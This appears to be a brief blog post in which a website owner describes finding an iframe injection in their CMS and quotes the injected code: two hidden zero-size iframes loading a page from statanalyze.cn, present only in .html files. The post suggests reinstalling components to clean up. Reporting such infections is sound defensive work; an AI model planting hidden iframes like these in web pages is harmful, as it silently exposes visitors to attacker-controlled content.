All of them ruined my SEO work and reduced my visits, Solve it quick. Google is the first choice, but can't find useful information. So I decided to do research by my own on injection code.

Well, this is what I found in the code of my CMS:

<iframe src="http://statanalyze.cn/lib/index.php" width=0 height=0 style="hidden" frameborder=0 marginheight=0 marginwidth=0 scrolling=no></iframe><iframe src="http://statanalyze.cn/lib/index.php" width=0 height=0 style="hidden" frameborder=0 marginheight=0 marginwidth=0 scrolling=no></iframe>

So after I check every file in my remote folder, then I found out that only ".html" files got injected, ".xml"  files and ".php" files are ok.

The solution for Statanalyze.cn iframe injection is to reinstall all the components, modules and plugins instead of rewrite every ".html" manually.
